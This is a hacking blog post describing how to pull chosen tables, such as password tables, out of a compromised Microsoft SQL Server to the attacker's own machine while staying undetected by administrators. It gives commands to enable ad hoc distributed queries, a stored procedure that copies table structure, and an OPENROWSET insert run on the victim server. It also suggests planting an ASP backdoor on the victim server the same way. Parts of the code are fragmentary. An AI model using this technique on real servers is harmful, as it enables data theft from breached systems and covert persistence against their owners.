Retrieving data from compromised SQL server

Sometimes,  I find myself in need of pulling data from a compromised SQL server.

Usually, the database is too big to be downloaded without being detected by system administrators (> 100GB ).

In that case, I just want to get some particular tables of the database.

So here’s how it works:

1/ Set up a SQL server on my local computer.

2/  Because SQL Server 2005 and later disables openrowset in default configuration, so we need to enable SQL server openrowset feature by issuing these commands :

--enable openrowset
exec sp_configure 'show advanced options', 1;


exec sp_configure 'Ad Hoc Distributed Queries', 1;

3/ In order to get data from a particular table of  the compromised SQL Server by using openrowset. Your local SQL server should have the same table structure(column, data type) with the remote table.

Hence, we need a way to copy remote table ‘s structure ( btw, you can do it by hand if you wish but it’s time consuming) .  Here I use a stored procedure to automatically generate CREATE TABLE query.

--This procedure will generate creating script for a particular table

Create Procedure GenerateScript (
@tableName varchar(100))
If exists (Select * from Information_Schema.COLUMNS where Table_Name= @tableName)
declare @sql varchar(8000)
declare @table varchar(100)
declare @cols table (datatype varchar(50))
insert into @cols values('bit')
insert into @cols values('binary')
insert into @cols values('bigint')
insert into @cols values('int')
insert into @cols values('float')
insert into @cols values('datetime')
insert into @cols values('text')
insert into @cols values('image')
insert into @cols values('uniqueidentifier')
insert into @cols values('smalldatetime')
insert into @cols values('tinyint')
insert into @cols values('smallint')
insert into @cols values('sql_variant')          

set @sql=''
Select @sql=@sql+
case when charindex('(',@sql,1)<=0 then '(' else '' end +Column_Name + ' ' +Data_Type +
case when Data_Type in (Select datatype from @cols) then '' else  '(' end+
case when data_type in ('real','money','decimal','numeric')  then cast(isnull(numeric_precision,'') as varchar)+','+
case when data_type in ('real','money','decimal','numeric') then cast(isnull(Numeric_Scale,'') as varchar) end
when data_type in ('char','nvarchar','varchar','nchar') then cast(isnull(Character_Maximum_Length,'') as varchar)       else '' end+
case when Data_Type in (Select datatype from @cols)then '' else  ')' end+
case when Is_Nullable='No' then ' Not null,' else ' null,' end
from Information_Schema.COLUMNS where Table_Name=@tableName            

select  @table=  'Create table ' + table_Name from Information_Schema.COLUMNS where table_Name=@tableName
select @sql=@table + substring(@sql,1,len(@sql)-1) +' )'
select @sql  as DDL         



Select 'The table '+@tableName + ' does not exist'    


4/ Now, using above procedure, I'm having a empty-table which has the same structure with the remote table we want to pull data from. Final step is using <em>openrowset </em> to insert data from remote SQL server to our local SQL server.

Below command executed at the compromised server,  it uses <em>openrowset </em>to connect to my local SQL server( using default listening port 1443) , get an empty data set from my SQL server, then insert result of query " SELECT password from PasswordTable "  to my local dataset:

--insert compromised SQL server table's content into our local SQL Server's table


'select password from LOCAL.dbo.PasswordTable'

SELECT password FROM PasswordTable

You can always use openrowset to put data in the opposite way, that is, from your local SQL server to remote SQL server.
For example, you could insert a ASP backdoor’s source code to remote SQL server by using openrowset then write it out to the remote filesystem 😉 )
Hope you find this post helpful! Please share if you know a different method.

PS:  In each post, I’ll include links to materials which help you somewhat  better understanding of what I have described.  Cheers!

Further reference:


1 Comment

Filed under Hacking

One response to “Retrieving data from compromised SQL server

  1. doc

    Thx, for that greatfull information about Sql

Leave a Reply

Fill in your details below or click an icon to log in: Logo

You are commenting using your account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s